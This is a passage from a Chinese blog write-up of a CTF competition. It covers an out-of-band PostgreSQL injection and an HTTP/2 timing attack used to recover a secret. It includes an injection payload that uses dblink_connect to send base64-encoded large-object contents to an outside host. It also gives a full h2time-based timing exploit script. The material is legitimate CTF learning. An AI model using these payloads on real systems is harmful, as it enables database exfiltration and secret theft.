hint2 = sha256(str(sorted(myimages)).encode()).hexdigest()
print(hint2)
print(flag)
图片[17]-i春秋新年欢乐赛全部write up-魔法少女雪殇

flag{00d531934c171e1a71405f5e1f171d65}

按F注入

参考文章：https://xz.aliyun.com/t/5399#toc-4

带外注入，里面还套娃

payload：

http://eci-2zeiq51mwqaa31k4o9a8.cloudeci1.ichunqiu.com/?f=abc' union select NULL,(select dblink_connect('host=106.54.87.195 port=5432 user=a password=a dbname='|| (SELECT replace(substring(encode(lo_get(16438),'base64'),1,100000),chr(20),'')  ))) --

通过.htaccess获得文件名

图片[18]-i春秋新年欢乐赛全部write up-魔法少女雪殇

最后获得flag

图片[19]-i春秋新年欢乐赛全部write up-魔法少女雪殇

<?php $flag=”flag{b72898af-9546-4df4-b0ad-524cfb5fa978}“;

borrow_time

参考文章：spaceless-spacing/exploit at master · ConnorNelson/spaceless-spacing (github.com)

是个http2，nodejs发包访问/src就可以看见源码

#!/usr/bin/env python

import os
import time
import hashlib

from flask import Flask, render_template, request

app = Flask(__name__)

FLAG = os.environ["ICQ_FLAG"]
SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]

SLEEP_TIME = 10 ** -10

@app.route("/", methods=['POST', 'GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        secret = request.form['secret']
        if len(secret) != len(SECRET):
            return "^_^"
        for a, b in zip(secret, SECRET):
            if a == "*":
                continue
            elif a != b:
                return "INCORRECT"
            else:
                time.sleep(SLEEP_TIME)
        if "*" in secret:
            return "INCORRECT"
        return FLAG

@app.route("/src")
def src():
    with open(__file__) as f:
        return f.read()

没什么好说的，直接通过上面参考链接的exp进行修改即可

exp：

import os
import asyncio
import time
import string
import logging

from hyper import HTTP20Connection
from h2time import H2Time, H2Request

# Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
TIMING_ITERATIONS = 2  # 3
NUM_REQUEST_PAIRS = 10  # 20
SECRET_CHARSET = '1234567890abcdef'
COMPARISON_CHAR = "*"  # This must not be in SECRET_CHARSET

target = 'http://8.140.110.118:80/'

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("exploit")
ua = 'Snowy_war'

def get(resource):
    logging.disable(logging.INFO)
    try:
        connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
        connection.request("POST", target, {'user-agent': ua, 'content-length': str(len('secret='+resource)),
                                                     'Content-Type': 'application/x-www-form-urlencoded'}, 'secret='+resource)
        return connection.get_response().read()
    finally:
        logging.disable(logging.DEBUG)


async def time_difference(a, b):
    request_a = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret='+a)),
                                                     'Content-Type': 'application/x-www-form-urlencoded'}, 'secret='+a)
    request_b = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret='+b)),
                                                     'Content-Type': 'application/x-www-form-urlencoded'}, 'secret='+b)
    a_quicker_count = 0
    b_quicker_count = 0
    for _ in range(TIMING_ITERATIONS):
        async with H2Time(
            request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            b_quicker_count += len([result for result in results if result[0] < 0])
            a_quicker_count += len([result for result in results if result[0] >= 0])
        async with H2Time(
            request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            a_quicker_count += len([result for result in results if result[0] < 0])
            b_quicker_count += len([result for result in results if result[0] >= 0])
    return a_quicker_count, b_quicker_count


async def exploit():
    secret_length = 10

    logger.info("")
    logger.info(f"Secret Length: {secret_length}")
    logger.info("")

    secret = ""

    for _ in range(secret_length):
        start = time.time()

        def spaced_secret_guess(guess):
            return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)

        tasks = {
            char: asyncio.create_task(
                time_difference(
                    spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                )
            )
            for char in SECRET_CHARSET
        }
        await asyncio.gather(*tasks.values())

        lowest_char_quicker = None
        lowest_char_quicker_count = float("inf")
        for char, task in tasks.items():
            comparison_quicker_count, char_quicker_count = task.result()

            if char_quicker_count < lowest_char_quicker_count:
                lowest_char_quicker = char
                lowest_char_quicker_count = char_quicker_count

            logger.info(
                f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
            )

        secret += lowest_char_quicker

        end = time.time()

        logger.info("")
        logger.info(f"Secret Progress: {secret}")
        logger.info(f"Secret Progress took: {end - start}s")
        logger.info("")

    # correct = get(f"{secret}")

    logger.info("")
    logger.info(f"Secret: {secret}")
    logger.info(f"Correct: {correct}")
    logger.info("")


loop = asyncio.get_event_loop()
loop.run_until_complete(exploit())
loop.close()

获取字符：（跑脚本的时候多打了个空格，导致第一位f没取上hhh

图片[20]-i春秋新年欢乐赛全部write up-魔法少女雪殇

最后发包即可

const http2 = require('http2');
const client = http2.connect('http://8.140.110.118');
const {
    HTTP2_HEADER_PATH,
    HTTP2_HEADER_STATUS
  } = http2.constants;
client.on('error', err => console.log(err));
let postbody = "secret=f165c3d8c9" 
const req = client.request({
    ':path': '/',
    ':method': 'POST',
    "content-type": "application/x-www-form-urlencoded",
    "content-length": Buffer.byteLength(postbody),
});

req.on('response', (headers, flags) => {
    for (const name in headers) {
        console.log(`${name}: ${headers[name]}`);
    }
});

req.setEncoding('utf8');
let data = '';
req.on('data', (chunk) => {
    data += chunk;
});
req.on('end', () => {
    console.log(`\n${data}`);
    client.close();
});
req.end(postbody);
图片[21]-i春秋新年欢乐赛全部write up-魔法少女雪殇

即可获得flag

flag{a8a00a86-46cb-4959-8b26-e4c8cf15b375}

© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
CTFWP
喜欢就支持一下吧
点赞1 分享
魔法少女雪殇的头像-魔法少女雪殇钻石会员
AntCTF x D^3CTF 个人Write Up-魔法少女雪殇
AntCTF x D^3CTF 个人Write Up
AntCTF x D^3CTF 个人Write Up
3年前 11.6W+
Goerli与Sepolia,mumbai测试币领取-魔法少女雪殇
Goerli与Sepolia,mumbai测试币领取
Goerli与Sepolia,mumbai测试币领取
2年前 5995
CISCN2021 初赛 Write UP-魔法少女雪殇
CISCN2021 初赛 Write UP
CISCN2021 初赛 Write UP
3年前 5767
开源CTF平台踩坑与评价(更新了两个平台)-魔法少女雪殇
开源CTF平台踩坑与评价(更新了两个平台)
开源CTF平台踩坑与评价(更新了两个平台)
3年前 4785
陇剑杯 个人 ’WriteUp‘-魔法少女雪殇
陇剑杯 个人 ’WriteUp‘
陇剑杯 个人 ’WriteUp‘
3年前 4545
红帽杯2021 Write UP-魔法少女雪殇
红帽杯2021 Write UP
红帽杯2021 Write UP
3年前 4197
相关推荐
AntCTF x D^3CTF 个人Write Up-魔法少女雪殇
AntCTF x D^3CTF 个人Write Up
AntCTF x D^3CTF 个人Write Up
3年前 11.6W+
CISCN2021 初赛 Write UP-魔法少女雪殇
CISCN2021 初赛 Write UP
CISCN2021 初赛 Write UP
3年前 5767
陇剑杯 个人 ’WriteUp‘-魔法少女雪殇
陇剑杯 个人 ’WriteUp‘
陇剑杯 个人 ’WriteUp‘
3年前 4545
红帽杯2021 Write UP-魔法少女雪殇
红帽杯2021 Write UP
红帽杯2021 Write UP
3年前 4197
首届网刃杯工控ctf WriteUp-魔法少女雪殇
首届网刃杯工控ctf WriteUp
首届网刃杯工控ctf WriteUp
3年前 2918
2022祥云杯ALLMISC Writeup-魔法少女雪殇
2022祥云杯ALLMISC Writeup
2022祥云杯ALLMISC Writeup
2年前 2364
评论 抢沙发
头像
欢迎您留下宝贵的见解！
提交
头像

昵称

取消
昵称

请填写用户信息：

  • 昵称(必填)
  • 邮箱(必填)
表情
[aoman][baiyan][bishi][bizui][cahan][ciya][dabing][daku][deyi][doge][fadai][fanu][fendou][ganga][guzhang][haixiu][hanxiao][zuohengheng][zhuakuang][zhouma][zhemo][zhayanjian][zaijian][yun][youhengheng][yiwen][yinxian][xu][xieyanxiao][xiaoku][xiaojiujie][xia][wunai][wozuimei][weixiao][weiqu][tuosai][tu][touxiao][tiaopi][shui][se][saorao][qiudale][se][qinqin][qiaoda][piezui][penxue][nanguo][liulei][liuhan][lenghan][leiben][kun][kuaikule][ku][koubi][kelian][keai][jingya][jingxi][jingkong][jie][huaixiao][haqian][aini][OK][qiang][quantou][shengli][woshou][gouyin][baoquan][aixin][bangbangtang][xiaoyanger][xigua][hexie][pijiu][lanqiu][juhua][hecai][haobang][caidao][baojin][chi][dan][kulou][shuai][shouqiang][yangtuo][youling]
CF1.0 商城改gp-魔法少女雪殇

1CF1.0 商城改gp

魔法少女雪殇的头像-魔法少女雪殇钻石会员34天前
89
HOW TO START TEAMSPEAK-魔法少女雪殇

2HOW TO START TEAMSPEAK

魔法少女雪殇的头像-魔法少女雪殇钻石会员1个月前
92
2022祥云杯决赛 misc Twin Shadow题解-魔法少女雪殇

32022祥云杯决赛 misc Twin Shadow题解

魔法少女雪殇的头像-魔法少女雪殇钻石会员7个月前
635
StegLab QA and EXP-魔法少女雪殇

4StegLab QA and EXP

魔法少女雪殇的头像-魔法少女雪殇钻石会员8个月前
359
StegLab解答与心得记录以及问题反思-魔法少女雪殇

5StegLab解答与心得记录以及问题反思

魔法少女雪殇的头像-魔法少女雪殇钻石会员8个月前
724
LLM-CHATGLM-AI学习资料自用-魔法少女雪殇

6LLM-CHATGLM-AI学习资料自用（持续更新）

魔法少女雪殇的头像-魔法少女雪殇钻石会员9个月前
976